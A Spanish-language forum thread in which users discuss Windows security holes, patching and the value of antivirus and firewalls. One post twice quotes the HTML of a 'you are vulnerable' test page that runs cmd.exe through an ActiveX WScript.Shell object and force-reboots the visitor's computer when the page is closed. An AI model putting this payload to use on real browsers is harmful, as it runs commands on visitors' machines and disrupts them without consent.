Win7 Mucho ojo! otro agujero en Windows!
- Iniciador del tema Krue
- Fecha de inicio
Todas las versiones, productos y servicios de Windows 7.
- Estado
Leyendo en The inquirer µ encontré este articulo done se habla de los problemas que los sysadmins tuvieron hace algunos meses con el virus que se aprovechaba de una vulnerabilidad en el servidor del sql; esta muy claro que mas allá de que la gente utilice Windows o Linux el problema de la inseguridad en todo sistema es la mediocridad de los encargados de estos, patchs y diferentes y fáciles soluciones par estos problemas salen todos las semanas, pero las personas no les pones atención ni cuidado a esto entones que?
¿Esperan un sistema operativo perfecto de fábrica?, por que ese no lo conozco y apostaría mucho a que no existe, pero una solución a tanto problema siempre ha estado ante nosotros y es mas que sencilla:
Un buen antivirus (que toca de ves en cuando toca actualizarlo) y un firewall sencillo que toca ponerse un buen rato a configurarlo (y reconfigúralo de ves en cuando), con esto uno se libra de muchos virus y spywarez molestos que abundan en la red, minimiza el daño a por lo menos 1 o muy pocos computadores y tendrá una red funcional a todo momento libre de problemas.
¿Esperan un sistema operativo perfecto de fábrica?, por que ese no lo conozco y apostaría mucho a que no existe, pero una solución a tanto problema siempre ha estado ante nosotros y es mas que sencilla:
Un buen antivirus (que toca de ves en cuando toca actualizarlo) y un firewall sencillo que toca ponerse un buen rato a configurarlo (y reconfigúralo de ves en cuando), con esto uno se libra de muchos virus y spywarez molestos que abundan en la red, minimiza el daño a por lo menos 1 o muy pocos computadores y tendrá una red funcional a todo momento libre de problemas.
pero otra vez lo mismo... coomo decian por ahi eso del WUpdate esta desde el 98 .. lo que pasa es que con winxp son como 60 megas para bajar y por telefono son como 6 horas.. claro que con mi dsl no tengo ese problemas (jejejejejejejej)
Efectivamente, la página la quitaron del aire. De cualquier manera, ahí está la página que ellos tenían ahí. Yo por lo pronto deshabilité TODOS los controles de ActiveX luego de instalar el parche de MS, esperando a que salga otro que definitivamente corrija los problemas.
--- SNIP <request.html> SNIP ---
<html>
<head>
<script>
function reboot() {
wsh.Run("cmD.exe /k shutDown.exe -f -r -t 00");
wsh.Run("RUNDLL32 SHELL32.DLL,SHExitWindowsEx 42");
}
</script>
</head>
<body onUnload=reboot()>
<font size="1" face="verdana" color="red">You are vulnerable!!</font><br>
<font size="1" face="verdana">A month before the blaster worm slammed the internet, Microsoft released a patch for the RPC hole. It is only because people did not take the hole seriously, that blaster caused as much damage as it did. Because of this, If you decide to close this window and disregard the fact that you are vulnerable, I will restart your computer. Please just apply the patch and let it restart so it can protect not only you, but the rest of the internet.</font>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmD.exe /k echo You are vulnerable, in this dos prompt, I could have easily ran any command I wanted, but chose to only run an echo command for test purposes.");
</script>
<iframe width="100%" height="100%" src="http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-032.asp">IFrames Not Supported, go to http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-032.asp and update DO NOT CLOSE THIS WINDOW</iframe>
<body>
</html>
--- SNIP <request.html> SNIP ---
<html>
<head>
<script>
function reboot() {
wsh.Run("cmD.exe /k shutDown.exe -f -r -t 00");
wsh.Run("RUNDLL32 SHELL32.DLL,SHExitWindowsEx 42");
}
</script>
</head>
<body onUnload=reboot()>
<font size="1" face="verdana" color="red">You are vulnerable!!</font><br>
<font size="1" face="verdana">A month before the blaster worm slammed the internet, Microsoft released a patch for the RPC hole. It is only because people did not take the hole seriously, that blaster caused as much damage as it did. Because of this, If you decide to close this window and disregard the fact that you are vulnerable, I will restart your computer. Please just apply the patch and let it restart so it can protect not only you, but the rest of the internet.</font>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmD.exe /k echo You are vulnerable, in this dos prompt, I could have easily ran any command I wanted, but chose to only run an echo command for test purposes.");
</script>
<iframe width="100%" height="100%" src="http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-032.asp">IFrames Not Supported, go to http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-032.asp and update DO NOT CLOSE THIS WINDOW</iframe>
<body>
</html>
ah y por ahi hay otra vulnerabilidad del internet explorar para la cual todavia no existe parche, uno puedo bajar al equipo del cliente un ejecutable y consecuentemente ejecutarlo 
y lo mas charro de todo, es lo mas facil de hacer menos mal no uso guindos jajajajaja
y lo mas charro de todo, es lo mas facil de hacer menos mal no uso guindos jajajajaja- Estado
